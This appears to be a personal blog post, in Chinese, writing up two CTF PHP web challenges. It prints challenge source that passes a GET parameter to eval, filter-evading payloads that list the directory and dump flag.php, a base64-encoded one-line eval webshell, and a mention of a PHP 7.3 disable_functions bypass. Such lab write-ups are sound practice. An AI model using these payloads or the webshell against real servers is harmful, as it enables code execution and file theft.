今天做的这道题也不是很难,就是在做题的时候需要联系一些函数的功能,先记录一下这些函数:
- scandir()可以扫描当前目录下的文件
- localeconv() 返回一包含本地数字及货币格式信息的数组
- array_reverse()以相反的元素顺序返回数组
- array_flip()交换数组的键和值
- array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回
- current()返回数组当前的值
- next()将内部指针指向数组中的下一个元素,并输出
题目
[GXYCTF2019]禁止套娃
首先要用githack扫描.git
打开index.php,源码如下:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
分析代码;
- 需要get方式传参数exp
- 第一个if过滤了几种伪协议
- 第二个if不太懂,不过大概知道R?是引用当前表达式,a(b())这样的形式应该是合法的
- 第三个if过滤了一些关键字
首先考虑爆目录
由于scandir()函数需要有一个directory,要考虑一个自带常量的函数,查到可以是localeconv(),通过数组联系到current函数
payload:
?exp=print_r(scandir(current(localeconv())));
用array_reverse()函数以相反的元素顺序返回数组,然后再next() 可以访问flag.php
问题:如何读flag.php的源码?
因为et被ban了,所以不能使用file_get_contents(),但是可以可以使用readfile()或highlight_file()以及其别名函数show_source()
payload:
?exp=highlight_file(next(show_source(scandir(current(localeconv())))));
还看到了另一种方法,
同样是要用到上述函数,就是涉及到了php的session机制,session_id()可以获取到当前的session id,抓包后手动设置名为PHPSESSID的cookie,同样的payload即可。
由于某人巴拉巴拉巴拉巴拉的,只好再做一道题,这道题是完全没啥思路。。。
题目:
[GKCTF2020]CheckIN
大概是要用base64将Ginkgo要传的内容编码,有eval函数想到跟一句话木马有点关系吧。。。
看wp先是要访问phpinfo(),看一下php配置,将phpinfo();base64后上传,看一下信息,其实不太懂,就是过滤了很多函数,系统命令也无法执行,应该是只能执行php命令?
上传一句话木马:
eval($_POST[1]);
加密后:ZXZhbCgkX1BPU1RbMV0pOw==
蚁剑连接,找flag找不到,而且好像是说没有权限,
这里涉及到php7.3版本中存在的disable_function绕过漏洞,由于本身禁用了一些系统命令,需要将进行绕过的exp上传至服务器目录,
exp.
将pwn后面的执行命令修改
上传的时候要选择合适的目录,tmp目录可读可写。
上传成功后再
得到flag
(以后做题时候也要考虑版本问题)